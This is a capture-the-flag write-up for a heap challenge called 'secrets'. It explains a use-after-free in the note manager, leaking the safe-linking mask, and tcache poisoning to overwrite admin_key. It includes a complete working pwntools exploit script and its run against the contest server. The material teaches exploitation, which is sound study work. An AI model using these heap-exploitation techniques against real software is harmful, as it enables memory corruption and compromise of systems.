secrets
Overview

secrets

January 12, 2026
3 min read
4

secrets

Category
Pwn
Files
secrets libc.so.6 ld-linux-x86-64.so.2
Description
Just a simple note manager. Surely nothing could go wrong...

Security check on the binary:

Terminal window
checksec secrets
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
Stripped: No

The binary has No PIE, which simplifies things by giving us fixed addresses for global variables like notes and admin_key. However, it uses a modern Glibc with Tcache Safe-Linking enabled.

Program Analysis

In this challenge, we were given a binary named secrets. Let’s try to examine the decompiled code.

main

int main(void) {
int choice;
_init_streams();
// Initializing admin_key with "SUPER_SECRET"
strcpy(admin_key, "SUPER_SECRET");
while (1) {
menu();
if (scanf("%d", &choice) != 1) break;
switch (choice) {
case 1: alloc_note(); break;
case 2: free_note(); break;
case 3: edit_note(); break;
case 4: read_note(); break;
case 5: check_admin(); break;
default: exit(0);
}
}
return 0;
}

The main() function initializes the global admin_key with the string "SUPER_SECRET" and then enters a menu loop. The program allows us to allocate, free, edit, and read notes, as well as perform a check on the administrative key.

alloc_note

void alloc_note(void) {
int idx;
printf("Index (0-9): ");
if (scanf("%d", &idx) == 1 && idx >= 0 && idx < 10) {
void *pvVar3 = malloc(0x30);
notes[idx] = pvVar3;
if (notes[idx] != NULL) {
printf("Enter data: ");
read(0, notes[idx], 0x30);
puts("[+] Allocated.");
}
}
}

The alloc_note() function allocates a 0x30 byte chunk on the heap using malloc() and stores the pointer in the global notes array. It then reads up to 0x30 bytes of data into this chunk.

free_note

void free_note(void) {
int idx;
printf("Index (0-9): ");
if (scanf("%d", &idx) == 1 && idx >= 0 && idx < 10) {
free(notes[idx]);
puts("[+] Freed.");
}
}

The free_note() function finds the note at the specified index and calls free() on it. Critically, it fails to clear the pointer in the notes array after freeing the memory, creating a classic Use-After-Free (UAF) vulnerability.

edit_note

void edit_note(void) {
int idx;
printf("Index (0-9): ");
if (scanf("%d", &idx) == 1 && idx >= 0 && idx < 10) {
printf("New data: ");
read(0, notes[idx], 0x30);
puts("[+] Edited.");
}
}

Because of the UAF bug in free_note(), we can call edit_note() (and read_note()) on a freed chunk. This allows us to overwrite the metadata of the freed chunk, specifically the next pointer in the tcache bin.

check_admin

void check_admin(void) {
if (strcmp(admin_key, "HACKED") == 0) {
char *flag = getenv("FLAG_VAL");
if (flag == NULL) {
puts("CTF{TCACHE_SUCCESS}");
} else {
puts(flag);
}
exit(0);
}
puts("[-] Invalid admin key.");
}

Our goal is to reach the flag in the check_admin() function by making admin_key equal to "HACKED". Since admin_key is a fixed global variable and we have a UAF, we can use Tcache Poisoning to obtain a chunk at the address of admin_key.

Now that we know the bug, let’s move to the exploitation part.

Exploitation

Since we are on a modern Glibc (2.32+), we must contend with Safe-Linking.

1. Bypassing Safe-Linking

In modern Glibc, the next pointer of a freed tcache chunk is mangled as: L = (P >> 12) ^ target Where P is the address of the pointer itself.

By reading a freed chunk (UAF), we can leak this mangled value. If it’s the only chunk in the tcache, its target is NULL, so the leaked value is exactly P >> 12. We call this the Heap Key.

2. Tcache Poisoning

  1. Leak: Allocate and free a note. Read it to get the heap_key.
  2. Poison: Allocate two more notes and free them. Use the UAF to edit the head of the tcache. Set the next pointer to heap_key ^ &admin_key.
  3. Overwrite: Allocate twice. The second allocation will land on admin_key. Write "HACKED" there.

Exploit Script

from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
set follow-fork-mode parent
set follow-exec-mode same
continue
'''.format(**locals())
exe = './secrets'
elf = context.binary = ELF(exe, checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'info'
def logleak(name, val): log.success(name+' = %#x' % val)
def sa(delim,data): return io.sendafter(delim,data)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
def mangle(heap_base, ptr): return (heap_base >> 12) ^ ptr
def alloc(idx, data):
sla(b"> ", b"1")
sla(b": ", str(idx).encode())
sa(b"data: ", data)
def free(idx):
sla(b"> ", b"2")
sla(b": ", str(idx).encode())
def edit(idx, data):
sla(b"> ", b"3")
sla(b": ", str(idx).encode())
sa(b"data: ", data)
def read_note(idx):
sla(b"> ", b"4")
sla(b": ", str(idx).encode())
return io.read(0x30)
def check_admin():
sla(b"> ", b"5")
io = start()
# 1. Leak heap key (safe-linking mask)
alloc(0, b"AAAA")
free(0)
leak = read_note(0)
heap_base = u64(leak[:8]) << 12
logleak('Heap base', heap_base)
# 2. Tcache poisoning
alloc(1, b"BBBB")
alloc(2, b"CCCC")
free(2)
free(1)
# Target: admin_key
target = elf.sym["admin_key"]
mangled = mangle(heap_base, target)
logleak('Mangled target:', mangled)
edit(1, p64(mangled))
# 3. Arbitrary write
alloc(3, b"junk")
alloc(4, b"HACKED\x00")
# 4. Get flag
check_admin()
io.interactive()

Running the exploit against the remote server:

Terminal window
$ python3 xploit.py REMOTE ctf.mf.grsu.by 9072
[+] Opening connection to ctf.mf.grsu.by on port 9072: Done
[+] Heap base = 0x3d092000
[+] Mangled target: = 0x439052
[*] Switching to interactive mode
grodno{4DM1n_N3_Z48YL_7C4Ch3_p0150N3D}

Flag: grodno{4DM1n_N3_Z48YL_7C4Ch3_p0150N3D}